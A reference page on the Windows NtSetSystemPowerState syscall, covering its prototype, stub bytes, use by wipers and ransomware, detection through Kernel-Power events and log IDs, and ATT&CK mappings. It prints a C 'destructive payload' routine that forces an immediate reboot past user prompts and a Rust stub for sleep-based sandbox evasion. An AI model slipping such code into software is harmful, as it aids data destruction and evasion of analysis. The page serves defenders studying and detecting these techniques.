NtSetSystemPowerState

Prototype

NTSTATUS NtSetSystemPowerState(
  POWER_ACTION         SystemAction,
  SYSTEM_POWER_STATE   MinSystemState,
  ULONG                Flags
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 BD 01 00 00      mov eax, 0x1BD
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Lower-level cousin of `NtInitiatePowerAction` — `NtSetSystemPowerState` skips the policy-manager arbitration and is the function the kernel itself calls once the power manager has finished its negotiations. The Win32 wrapper `SetSystemPowerState` lands here. The caller must hold `SeShutdownPrivilege` (interactive sessions) or `SeRemoteShutdownPrivilege` (for cross-machine variants). The function does not return until the system has either resumed from the target state or refused the transition (e.g. a driver vetoed Sleep). Passing `POWER_ACTION_DISABLE_WAKES | POWER_ACTION_CRITICAL` is the 'shut up and do it' combination that bypasses most application-level Sleep vetoes.

Common malware usage

Three real-world patterns. (1) **Wipers**: HermeticWiper, IsaacWiper and CaddyWiper have all been observed calling reboot-class power actions at the end of their destruction pass to force the machine to come up with corrupted boot data — the user sees a BSOD or 'Inaccessible Boot Device' screen the next time the box powers on. (2) **Ransomware post-encryption reboot**: Royal, BlackCat/ALPHV and BlackSuit have all triggered a reboot via this family of syscalls after dropping their note, both to enforce a clean state for the encrypted volume and to make sure any opened files are closed and locked down. (3) **Sandbox evasion**: a small set of red-team loaders call PowerSystemSleeping3 or DisplayOff inside an automated analysis VM hoping the sandbox harness treats the transition as 'execution complete' and tears down before the real payload runs. Often combined with `NtDelayExecution` to skew clocks the harness uses to compute runtime.

Detection opportunities

`SetSystemPowerState` and its underlying syscall are tracked by the Microsoft-Windows-Kernel-Power ETW provider — every Sleep/Hibernate/Shutdown transition emits well-defined events that include the initiating process. Sysmon does not have a dedicated event but the System log records 1074 (clean shutdown initiated) and 6008 (unexpected shutdown), both useful for retroactive reconstruction. The strongest single rule: a non-system process calling a Shutdown-class POWER_ACTION while also writing to many files in the previous minute is essentially a wiper or ransomware fingerprint. SeShutdownPrivilege should be off for most service accounts — alert on the privilege adjustment that immediately precedes the call.

Direct syscall examples

; Direct syscall stub for NtSetSystemPowerState (SSN 0x1BD on Win11 24H2)
NtSetSystemPowerState PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 1BDh         ; SSN — varies per build
    syscall
    ret
NtSetSystemPowerState ENDP

// Final stage of a destructive payload: enable shutdown privilege then
// request an immediate Shutdown-Reset, bypassing user prompts.
#include <windows.h>
#include <winternl.h>

static VOID EnableShutdownPriv(VOID) {
    HANDLE hTok; LUID luid; TOKEN_PRIVILEGES tp = { 0 };
    OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok);
    LookupPrivilegeValueW(NULL, SE_SHUTDOWN_NAME, &luid);
    tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hTok, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hTok);
}

typedef NTSTATUS (NTAPI *pNtSetSystemPowerState)(ULONG, ULONG, ULONG);

VOID WiperReboot(VOID) {
    EnableShutdownPriv();
    pNtSetSystemPowerState NtSetSystemPowerState = (pNtSetSystemPowerState)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetSystemPowerState");
    // PowerActionShutdownReset = 6, PowerSystemShutdown = 6,
    // DISABLE_WAKES | CRITICAL = 0x40000000 | 0x80000000
    NtSetSystemPowerState(6, 6, 0xC0000000);
}

// Cargo: windows-sys = "0.59"
use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_set_system_power_state_stub(
    _action: u32, _min_state: u32, _flags: u32) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x1BD", // Win11 24H2 SSN
        "syscall",
        "ret",
        options(noreturn),
    );
}

fn try_sleep_evasion() {
    // PowerActionSleep = 2, PowerSystemSleeping3 = 5, UI_ALLOWED=4
    let _ = unsafe { nt_set_system_power_state_stub(2, 5, 4) };
}

MITRE ATT&CK mappings

• T1529System Shutdown/Rebootmitre ↗
• T1485Data Destructionmitre ↗
• T1106Native APImitre ↗